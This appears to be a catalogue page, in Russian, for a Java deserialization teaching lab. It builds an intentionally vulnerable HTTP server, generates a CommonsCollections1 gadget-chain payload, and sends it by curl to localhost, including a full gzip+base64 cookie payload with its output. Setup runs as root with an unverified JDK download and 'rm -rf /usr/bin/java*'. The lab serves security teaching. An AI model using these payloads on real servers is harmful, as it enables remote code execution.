Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2015-7501 — Учебная лаборатория для понимания уязвимостей десериализации Java с PoC-эксплойтами для CVE JBoss, анализом гаджет-цепочек и уязвимым HTTP-сервером для тестирования полезных нагрузок. | Kitploit
Инструменты/GitHubGitHub/ianxtianxt/cve-2015-7501
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubianxtianxt/cve-2015-7501

CVE-2015-7501

Учебная лаборатория для понимания уязвимостей десериализации Java с PoC-эксплойтами для CVE JBoss, анализом гаджет-цепочек и уязвимым HTTP-сервером для тестирования полезных нагрузок.

22916 лет назадПроверено Kitploit
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Лаборатория для уязвимостей десериализации Java

Этот контент связан с докладом, написанным для 12-го выпуска журнала H2HC. Полный доклад: https://www.h2hc.com.br/revista/

Слайды и видео выступления скоро будут доступны.

Обзор основ уязвимостей нативной десериализации в средах Java (JVM)

An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)

Содержание

Лаборатория содержит примеры кода, которые помогут вам понять уязвимости десериализации и то, как цепочки гаджетов их эксплуатируют. Цель — обеспечить лучшее понимание, чтобы вы могли разрабатывать новые полезные нагрузки и/или лучше проектировать свои среды.

Также есть уязвимое тестовое приложение (VulnerableHTTPServer.java), которое помогает тестировать ваши полезные нагрузки.

Слайды

Alt text

Примеры (PoC)

  • PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)

Alt text
  • PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)

Alt text

  • PoC Эксплуатация уязвимости десериализации XStream в struts2-rest с обратной оболочкой

Alt text

Примеры использования лаборатории

Прежде всего вам нужно прочитать полный доклад. Затем изучите примеры кода и используйте уязвимое тестовое приложение, чтобы понять, как работают полезные нагрузки.

Получение JDK

Если вы не хотите заходить на страницу Oracle и регистрироваться, вы можете скачать JDK напрямую у меня по адресу: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/

От имени root выполните:

root@kitploit:~
# cd /opt
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz 
# tar zxvf jdk-8u20-linux-x64.tar.gz
# rm -rf /usr/bin/java*
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
# java -version
  java version "1.8.0_20" 

Получение кода:

root@kitploit:~
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
$ cd JavaDeserH2HC

Компиляция и запуск уязвимого веб-приложения:

root@kitploit:~
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
root@kitploit:~
* =============================================================== *
*     Простой HTTP-сервер Java для лаборатории десериализации v0.01        *
*    https://github.com/joaomatosf/JavaDeserH2HC                  *
* =============================================================== *
Вы можете внедрять сериализованные объекты Java в следующих форматах:

 1) Бинарный в HTTP POST (например \xAC\xED). Пример:
   $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser

 2) Base64 или Gzip+Base64 через параметры HTTP POST. Пример:
   $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
   $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."

 3) Base64 или Gzip+Base64 в куках. Пример:
   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
   
 4) Base64 от зашифрованного AES-CBC с жёстко заданным ключом Apache Shiro. Пример:
   $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
   
 5) XML для уязвимости/сериализации XStream RCE. Пример:
   $ curl 127.0.0.1:8000 -d @file.xml
   
ПРИМЕЧАНИЕ: Для тестирования гаджетов в конкретных библиотеках запускайте с параметром -cp. Пример:
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
==================================================================

Версия JRE: 1.8.0_77
[INFO]: Прослушивание порта 8000

Тестирование полезных нагрузок

Компиляция примера 1, который работает в приложениях с commons-collections3.2.1 в classpath и JRE < 8u72:

root@kitploit:~
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java

Генерация полезной нагрузки:

root@kitploit:~
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
Сохранение сериализованного объекта в ExampleCommonsCollections1.ser

Эксплуатация уязвимого сервера:

Отправка полезной нагрузки в бинарном формате через HTTP POST:

root@kitploit:~
$ rm -rf /tmp/h2hc_2017
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
Данные десериализованы!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017

Отправка полезной нагрузки в формате Gzip+Base64 через HTTP Куки:

root@kitploit:~
$ rm -rf /tmp/h2hc_2017
$ gzip ExampleCommonsCollections1.ser
$ base64 -w0 ExampleCommonsCollections1.ser.gz
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH2211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
Данные десериализованы!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
Скачать инструмент